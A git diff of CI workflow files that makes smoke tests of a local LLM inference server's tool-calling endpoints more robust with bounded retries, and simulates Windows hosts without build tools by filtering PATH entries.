+              A shared CI runner can stall the stream transport (the
+              connection opening, or a mid-stream read) even when Studio
+              is healthy, so harden the read three ways: retry a stall
+              once with a fresh request capped at 300s; return any text
+              already streamed before a stall (a stall on the trailing
+              tokens, after the answer arrived, still counts); and when
+              every attempt yields nothing, a hard call re-raises while a
+              soft call (the best-effort server-side tool probes) returns
+              None so the caller can WARN instead of sinking the whole
+              job. HTTP status errors always surface immediately."""
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
               req = urllib.request.Request(
@@ -469,24 +498,43 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts)
+              for attempt in range(retries + 1):
+                  parts = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts)
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # Text already streamed is a valid signal -- keep it
+                      # rather than re-running a heavy generation.
+                      if parts:
+                          joined = "".join(parts)
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
+                          return joined
+                      if attempt == retries:
+                          if soft:
+                              print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
+                              return None
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. Standard OpenAI function calling ──────────────────────
           weather_tool = {
@@ -557,16 +605,23 @@ jobs:
           # macos-14 free runner is ~10 tok/s on Qwen3.5-2B Q4_K_XL;
           # cap max_tokens tightly so each SSE round stays under ~30s
           # even when the model stalls in a degenerate output state.
+          # retries=0 on the best-effort probes: this job's 25-minute cap
+          # allows a 10-minute model load, so a no-data stall must be a
+          # single 180s attempt (not 180+15+180s) to leave room for the
+          # thinking checks. A soft/best-effort probe only WARNs anyway.
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["python"],
               "session_id":    "ci-tool-calling-py",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    128,
-          }, timeout = 180)
-          if "56088" in content or "56,088" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
+          elif "56088" in content or "56,088" in content:
               print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
           else:
               # Empty stream is a known Mac-quant degeneracy too; log
@@ -593,12 +648,13 @@ jobs:
               content = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   TEMP,
                   "seed":          SEED,
                   "max_tokens":    96,
-              }, timeout = 180)
+              }, timeout = 180, retries = 0)
               print(f"[tools] PASS web_search stream ({len(content)} chars)")
           except Exception as exc:
               print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
@@ -825,6 +881,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -848,8 +906,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           # llama.cpp's HTTP server supports OpenAI-compatible JSON
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 8186c07211..63a7e9dc8f 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -634,6 +634,8 @@ jobs:
           python - <<'PY'
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
 
           BASE = os.environ["BASE_URL"]
@@ -656,10 +658,41 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
-          def post_sse(path, body, *, timeout = 600):
+          def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
+              # The server-side agentic loop always answers over SSE. A
+              # shared CI runner can stall the stream transport (the
+              # connection opening, or a mid-stream read) even when Studio
+              # is healthy, so harden the read three ways:
+              #   * retry a transport stall once with a fresh request,
+              #     capped at 300s (a healthy server answers a retry
+              #     quickly, a wedged one never does);
+              #   * return any text already streamed before a stall, so a
+              #     stall on the trailing tokens -- after the answer
+              #     arrived -- still counts;
+              #   * when every attempt yields nothing, a hard call
+              #     re-raises while a soft call (the best-effort
+              #     server-side tool probes) returns None so the caller
+              #     can WARN instead of sinking the whole job.
+              # HTTP status errors always surface immediately.
               body = {**body, "stream": True}
               data = json.dumps(body).encode()
               req = urllib.request.Request(
@@ -671,24 +704,43 @@ jobs:
                       "Content-Type": "application/json",
                   },
               )
-              parts = []
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  for raw in resp:
-                      line = raw.decode().strip()
-                      if not line.startswith("data: "):
-                          continue
-                      payload = line[6:]
-                      if payload == "[DONE]":
-                          break
-                      try:
-                          chunk = json.loads(payload)
-                      except json.JSONDecodeError:
-                          continue
-                      for choice in chunk.get("choices", []):
-                          delta = choice.get("delta", {}) or {}
-                          if delta.get("content"):
-                              parts.append(delta["content"])
-              return "".join(parts)
+              for attempt in range(retries + 1):
+                  parts = []
+                  t = timeout if attempt == 0 else min(timeout, 300)
+                  try:
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          for raw in resp:
+                              line = raw.decode().strip()
+                              if not line.startswith("data: "):
+                                  continue
+                              payload = line[6:]
+                              if payload == "[DONE]":
+                                  break
+                              try:
+                                  chunk = json.loads(payload)
+                              except json.JSONDecodeError:
+                                  continue
+                              for choice in chunk.get("choices", []):
+                                  delta = choice.get("delta", {}) or {}
+                                  if delta.get("content"):
+                                      parts.append(delta["content"])
+                      return "".join(parts)
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      # Text already streamed is a valid signal -- keep it
+                      # rather than re-running a heavy generation.
+                      if parts:
+                          joined = "".join(parts)
+                          print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
+                          return joined
+                      if attempt == retries:
+                          if soft:
+                              print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
+                              return None
+                          raise
+                      print(f"[retry-sse] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. Standard OpenAI function calling ──────────────────────
           weather_tool = {
@@ -731,16 +783,24 @@ jobs:
               )
 
           # ── 2. Server-side python tool ───────────────────────────────
+          # Bound each soft probe to a single 180s attempt (timeout=180,
+          # retries=0): this job runs two of them back-to-back under a
+          # 30-minute cap, so the default 600+15+300s per stall could hit
+          # the workflow timeout before the thinking checks run. A soft
+          # probe only WARNs anyway, so a retry buys nothing.
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["python"],
               "session_id":    "ci-tool-calling-py",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    600,
-          })
-          if "56088" in content or "56,088" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
+          elif "56088" in content or "56,088" in content:
               print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
           else:
               assert content, "python tool: SSE stream empty"
@@ -757,13 +817,16 @@ jobs:
           content = post_sse("/v1/chat/completions", {
               "messages":      [{"role": "user", "content": "Use the terminal tool to run `echo hello-bash-tool` and tell me the exact output."}],
               "enable_tools":  True,
+              "permission_mode": "full",
               "enabled_tools": ["terminal"],
               "session_id":    "ci-tool-calling-bash",
               "temperature":   TEMP,
               "seed":          SEED,
               "max_tokens":    600,
-          })
-          if "hello-bash-tool" in content:
+          }, timeout = 180, retries = 0, soft = True)
+          if content is None:
+              print("[tools] WARN terminal tool: SSE transport stalled after retries -- non-blocking")
+          elif "hello-bash-tool" in content:
               print(f"[tools] PASS terminal tool ({len(content)} chars)")
           else:
               assert content, "terminal tool: SSE stream empty"
@@ -779,12 +842,13 @@ jobs:
               content = post_sse("/v1/chat/completions", {
                   "messages":      [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
                   "enable_tools":  True,
+                  "permission_mode": "full",
                   "enabled_tools": ["web_search"],
                   "session_id":    "ci-tool-calling-web",
                   "temperature":   TEMP,
                   "seed":          SEED,
                   "max_tokens":    400,
-              })
+              }, timeout = 180, retries = 0)
               print(f"[tools] PASS web_search stream ({len(content)} chars)")
           except Exception as exc:
               print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
@@ -1063,6 +1127,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -1082,8 +1148,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           status, data = post("/v1/chat/completions", {
@@ -1334,42 +1416,75 @@ jobs:
             try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
           }
 
-      - name: Hide Visual Studio + CMake (simulate a host with no build tools)
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # A Program Files dir can hold a transient handle (Defender / MSBuild node)
-          # so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) {
+                  [void] $blocked.Add(
+                    [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\'))
+                }
+              }
             }
           }
-          # Rename the Visual Studio install roots (incl. the Installer that holds
-          # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) {
-              Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
-              Write-Host "Hid VS: $d"
-            }
+          # Normalized comparison so registry spellings (trailing slash,
+          # unexpanded %VAR%) still match.
+          function Test-Blocked([string]$p) {
+            $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
+            return $blocked.Contains($n)
           }
-          # Surgically rename each cmake executable on PATH (not its parent dir --
-          # cmake can share a dir with other shims) so Get-Command cmake fails.
-          $hidden = @()
-          foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
-            if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
-              Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
-              $hidden += $c.Source
-              Write-Host "Hid cmake: $($c.Source)"
-            }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not (Test-Blocked $_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
+          # rebuild the session Path from these scopes mid-install, so filter
+          # them too. Originals are saved for the cleanup step.
+          foreach ($scope in @('Machine', 'User')) {
+            $orig = [Environment]::GetEnvironmentVariable('Path', $scope)
+            if (-not $orig) { continue }
+            Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline
+            $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';'
+            [Environment]::SetEnvironmentVariable('Path', $kept, $scope)
+            Write-Host "Filtered $scope Path scope."
+          }
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+
+          Write-Host "ProgramFiles simulation root: $pf"
+          Write-Host "ProgramFiles(x86) simulation root: $pfx86"
+          if ($blocked.Count -gt 0) {
+            Write-Host "Removed build-tool PATH dirs:"
+            $blocked | Sort-Object | ForEach-Object { Write-Host "  $_" }
+          } else {
+            Write-Host "No cmake or cl.exe PATH dirs found to remove."
           }
-          ("HIDDEN_CMAKE=" + ($hidden -join '|')) | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Assert Visual Studio + CMake are genuinely undetectable
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # Set in-script: the runner does not apply step-level env keys with
+          # parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
+          if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
           $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
           foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
@@ -1394,6 +1509,10 @@ jobs:
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
           HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
+          # Set in-script (see the assert step); child processes inherit these.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           $ProgressPreference = 'SilentlyContinue'
           & ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
@@ -1480,19 +1599,19 @@ jobs:
           [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
           echo "Inference OK without Visual Studio: $CONTENT"
 
-      - name: Restore Visual Studio + CMake
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
-          if ($env:HIDDEN_CMAKE) {
-            foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) {
-              if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          foreach ($scope in @('Machine', 'User')) {
+            $saved = Join-Path $root "orig-path-$scope.txt"
+            if (Test-Path -LiteralPath $saved) {
+              [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope)
+              Write-Host "Restored $scope Path scope."
             }
           }
+          Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue
 
       - name: Stop Studio
         if: always()
@@ -1540,21 +1659,34 @@ jobs:
         with:
           python-version: '3.12'
 
-      - name: Hide Visual Studio
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # Retry the rename: a Program Files dir can hold a transient handle that
-          # makes Rename-Item intermittently fail with "Access is denied".
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) { [void] $blocked.Add($dir) }
+              }
             }
           }
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
-          }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not $blocked.Contains($_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
         env:
@@ -1577,25 +1709,34 @@ jobs:
           echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
 
       - name: The prebuilt resolver runs without Visual Studio
+        shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         run: |
+          $ErrorActionPreference = 'Stop'
+          # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
+          # python child inherits the overrides.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           # Resolver-only (no GPU on hosted runners, so the host resolves to the
           # CPU bundle). The point is that resolution needs no compiler/VS.
           python -m pip install --upgrade huggingface_hub
-          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || {
-            echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; }
-          cat /tmp/resolve.json
-          echo "Prebuilt resolver ran with no Visual Studio present."
+          if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
+          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
+          if ($LASTEXITCODE -ne 0) {
+            Write-Host "::error::resolver exited non-zero"
+            if (Test-Path resolve.json) { Get-Content resolve.json }
+            exit 1
+          }
+          Get-Content resolve.json
+          Write-Host "Prebuilt resolver ran with no Visual Studio present."
 
-      - name: Restore Visual Studio
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
+          Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
 
   # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
   pester:
@@ -1610,6 +1751,13 @@ jobs:
       - name: Install Pester v5
         shell: pwsh
         run: |
+          # PSGallery is intermittently absent from the repository list on GitHub's Windows
+          # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
+          # name 'PSGallery' was found." Re-register the default gallery first so the policy
+          # change and module install below always have a repository to target.
+          if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
+            Register-PSRepository -Default -ErrorAction SilentlyContinue
+          }
           Set-PSRepository PSGallery -InstallationPolicy Trusted
           Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
           Import-Module Pester -MinimumVersion 5.5.0
diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 888b3d70a3..5b92f1a3e0 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -6,9 +6,9 @@
 # windows-latest runner:
 #
 #   1. install.ps1 --local --no-torch installs Studio AND auto-fetches
-#      the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu-
-#      x64 from ggml-org/llama.cpp). Hitting the source-build fallback
-#      is treated as an Unsloth bug -- Studio must always pick the
+#      the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
+#      from unslothai/llama.cpp). Hitting the source-build fallback is
+#      treated as an Unsloth bug -- Studio must always pick the
 #      prebuilt on Windows.
 #   2. unsloth studio update --local is idempotent. Two consecutive
 #      runs both report "prebuilt up to date and validated", no
diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index e492d21e99..6becccc90a 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -285,6 +285,92 @@ jobs:
             tests/vllm_compat/test_extended_module_imports.py \
             -v --tb=short
 
+  # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
+  # the static symbol/source greps above, this drives unsloth's actual
+  # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
+  # runner under the tests/conftest.py spoof harness -- no GPU, no training.
+  # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
+  # per-token-logps return, restructured PEFT ref-adapter block) by asserting
+  # the generated Unsloth trainer still satisfies the transform contracts.
+  grpo-fake-run:
+    name: GRPO fake-run (latest + main TRL, CPU spoof)
+    runs-on: ubuntu-latest
+    timeout-minutes: 18
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+          path: unsloth
+      - name: Clone unsloth-zoo @ main
+        run: |
+          for attempt in 1 2 3; do
+            rm -rf "$RUNNER_TEMP/unsloth-zoo"
+            if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
+                "$RUNNER_TEMP/unsloth-zoo"; then
+              break
+            fi
+            if [ "$attempt" -eq 3 ]; then
+              echo "::error::git clone unsloth-zoo failed after 3 attempts"
+              exit 1
+            fi
+            delay=$((5 * attempt))
+            echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..."
+            sleep "$delay"
+          done
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Install CPU torch + ecosystem + TRL latest
+        run: |
+          python -m pip install --upgrade pip
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
+            'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
+          # Ecosystem floors unsloth needs; TRL itself is installed last so it
+          # can pull the transformers/peft it requires.
+          pip install \
+            'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \
+            'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \
+            'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow
+          pip install --upgrade trl
+          pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
+          pip install --no-deps -e ./unsloth
+      - name: Fake-run vs TRL latest
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          # Disable dynamo/inductor at the process level, before conftest.py's early
+          # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
+          # (defense in depth; the CPU fake-train also flips this at runtime).
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
+        run: |
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
+            -v --tb=short
+      # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
+      # TRL break does not red every PR. github.event_name is valid in a step if.
+      - name: Fake-run vs TRL main (scheduled / dispatch only)
+        if: ${{ github.event_name != 'pull_request' }}
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
